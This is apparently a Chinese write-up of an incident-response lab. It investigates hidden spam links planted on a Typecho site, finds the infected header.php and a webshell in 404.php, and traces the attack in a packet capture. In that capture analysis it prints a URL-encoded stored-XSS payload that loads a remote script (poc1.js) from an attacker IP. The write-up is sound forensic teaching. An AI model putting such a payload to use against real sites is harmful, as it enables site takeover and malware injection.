当前位置: 首页 > news >正文

linux实战-黑链——玄机靶场

黑链的特征:

  • 隐藏链接:黑链通常隐藏在网站页面中,使用CSS、JavaScript或其他手段使其对普通用户不可见,但仍然能被搜索引擎爬虫检测到。
  • 恶意内容:这些链接指向的内容可能包含恶意软件、钓鱼页面或其他不良内容,试图感染用户的计算机或窃取个人信息。
  • 伪装链接:黑链可能伪装成合法的链接,通过使用误导性的锚文本或URL,诱导用户点击。
  • 大量生成:黑链通常通过自动化工具大量生成,散布在多个网站上,以提高恶意网站的搜索引擎排名。

总结来说,黑链是一种通过不正当手段在网站上植入的链接,旨在提升恶意网站的搜索引擎排名或传播恶意软件。

在实际操作中,黑链通常通过以下方式植入:

  • 网站漏洞:利用网站或插件的漏洞,通过SQL注入、跨站脚本(XSS)等手段植入黑链。
  • 权限滥用:通过获取网站管理员权限,手动添加黑链。
  • 文件上传漏洞:通过上传恶意文件(如带有后门的PHP文件),在服务器上执行代码,植入黑链。

找到黑链添加在哪个文件 flag 格式 flag{xxx.xxx}

一般流程,手动检查网站的HTML和PHP文件,寻找可疑的代码片段,或者检查特定的文件夹,某些文件夹更容易被黑客攻击,常见的如:/var/www/html,/tmp,/uploads,/images,在linux里可以使用命令进行全局搜索。

grep -rnw '/var/www/html/' -e '黑链'这里直接指定在网站目录下搜索。

-r:递归搜索。这个选项告诉 grep 在指定目录下的所有子目录中进行搜索。
-n:显示行号。这个选项会在匹配的行前面显示行号,方便定位。
-w:匹配整个单词。这个选项告诉 grep 只匹配整个单词(即匹配边界)。在这里,黑链 被视为一个完整的单词,只有当它作为一个独立的单词出现时才会被匹配。
-e '黑链':指定要搜索的字符串。在这个例子中,我们要搜索的是包含 黑链 字符串的所有文件。

可以看到,甚至能够将压缩包里的内容都进行匹配。

tips

关于关键词的选取需要进行收集,在搜索到可能的有黑链的文件后还需要进一步进行人工分析。

黑链隐藏方式:

  • 隐藏的 HTML 元素:使用 CSS 将链接隐藏在网页中,如 display:none 或 visibility:hidden。
  • JavaScript 动态加载:使用 JavaScript 动态加载黑链,使其在页面加载时才出现。
  • URL 重定向:通过 URL 重定向,将合法链接引导到恶意网站。
  • 伪装成正常内容:黑链可能伪装成正常的内容或链接,混杂在正常网页内容中。

例如匹配关键字:'href=', 'http'

一般先用D盾扫一遍,提高工作效率。

flag{header.php}

webshell的绝对路径 flag{xxxx/xxx/xxx/xxx/}

通过命令行查shell:grep -rnw '/var/www/html/' -e 'eval('

一般使用D盾等工具进行扫描找出。

flag{/var/www/html/usr/themes/default/404.php}

黑客注入黑链文件的 md5 md5sum file flag{md5}

一般黑客注入黑链文件,常见的有:

  • JavaScript:通过JavaScript代码动态插入隐藏链接或iframe。可以通过脚本在用户浏览页面时实时插入黑链,常见于页面底部或隐藏的元素中。
  • HTML:直接在 HTML 文件中嵌入隐藏的链接。链接通常设置为display: none或放置在不可见的位置(如超出视口的区域)。
  • PHP:在PHP文件中嵌入生成隐藏链接的代码。利用服务器端代码生成黑链,可以隐藏在模板文件、插件文件等处,较难被发现。
  • CSS:通过 CSS 文件定义隐藏链接的样式。使用display: nonevisibility: hiddenposition: absolute; left: -9999px等方式隐藏链接。
  • iframe:在页面中嵌入一个隐藏的iframe,iframe内部加载包含黑链的页面。iframe 可以指向外部恶意页面,通过隐藏的 iframe 难以被发现。
  • .htaccess:使用 Apache 服务器的 .htaccess文件进行URL重写,植入黑链。通过重写规则隐蔽地将用户引导至黑链页面。

在前面找webshell时,找到过一个js文件里存在shell代码,优先分析这个js代码。

代码第一部分是在404.php中注入iframe,第二部分就是写shell。

对文件计算md5:

windos下命令:certutil -hashfile <文件名称> MD5

flag{10c18029294fdec7b6ddab76d9367c14}

攻击入口是哪里?url请求路径,最后面加/ flag{/xxxx.xxx/xxxx/x/}

在目录下有个流量包,下载进行分析即可。

根据之前找到的poc1.js文件,可以直接筛选http contains "poc1.js"

这里有多个流量都存在poc1.js,需要进一步进行分析,但是发现了一个xss注入痕迹。

推测攻击者是利用这个poc写入poc1.js的,所以利用这个poc进行筛选,注:需要通过url编码。

http contains "http%3A%2F%2Fxxx.xxx.com%2F%22%3E%3C%2Fa%3E%3Cscript%2Fsrc%3Dhttp%3A%2F%2F192.168.20.130%2Fpoc1.js%3E%3C%2Fscript%3E%3Ca%2Fhref%3D%22%23"

然后追踪http流进行分析,通过查找关键字poc1.js进行分析,目的是找到前面的poc是在什么时候写入到网站。

找到第一处,流量要成对分析,请求包里的url值为poc,提交后发生了302跳转。

跳转后发出的请求路径/index.php/archives/1/此时poc已经在cookie里了。

在响应包中发现,xss已经被插入。

Typecho1.2 - 1.2.1-rc前台评论存储xss到rce 漏洞复现-分析-修复 - JunBlog

flag{/index.php/archives/1/}

http://www.lryc.cn/news/490948.html

相关文章:

  • 鸿蒙NEXT开发案例:字数统计
  • uniapp vue2项目迁移vue3项目
  • 16.C++STL 3(string类的模拟,深浅拷贝问题)
  • 神经网络10-Temporal Fusion Transformer (TFT)
  • “iOS profile文件与私钥证书文件不匹配”总结打ipa包出现的问题
  • 《图像梯度与常见算子全解析:原理、用法及效果展示》
  • 【c++篇】:探索c++中的std::string类--掌握字符串处理的精髓
  • LlamaIndex ollama 搭建本地RAG应用,建立本地知识库
  • draggable的el-dialog实现对话框标题可以选择
  • 2024年Android面试总结
  • 树莓派3:64位系统串口(UART)使用问题的解决方法
  • SemiDrive E3 硬件设计系列---唤醒电路设计
  • 淘宝接口高并发采集核心要点解读,开启电商数据智能应用新纪元
  • C#里怎么样快速使用LINQ实现查询?
  • 2024新版微软edge浏览器输入百度网址时自动补全tn=68018901……小尾巴的解决
  • uni-app打包H5自定义微信分享
  • 大模型专栏--大模型应用场景
  • 骑砍2霸主MOD开发(29)-顶点动画
  • -Dspring.profiles.active=dev与--spring.profiles.active=dev的区别
  • 面向对象高级(2)单例设计对象与代码块
  • 47小型项目的规划与实施
  • 堤防安全监测系统方案
  • 聊聊Flink:这次把Flink的window分类(滚动、滑动、会话、全局)、窗口函数讲透
  • mysql-分析MVCC原理
  • 由于答案过大,请对a取模。取模后的答案不是原问题的答案 取模有何意义呢 详解
  • 【c++篇】掌握动态内存的奥妙
  • 5.4.2-3 编写Java程序读取HDFS文件
  • @EnableConfigurationProperties @ConfigurationProperties
  • RK3588适配MTK7921 USB接口WiFi驱动开发
  • 【数据结构OJ】【图论】图综合练习--拓扑排序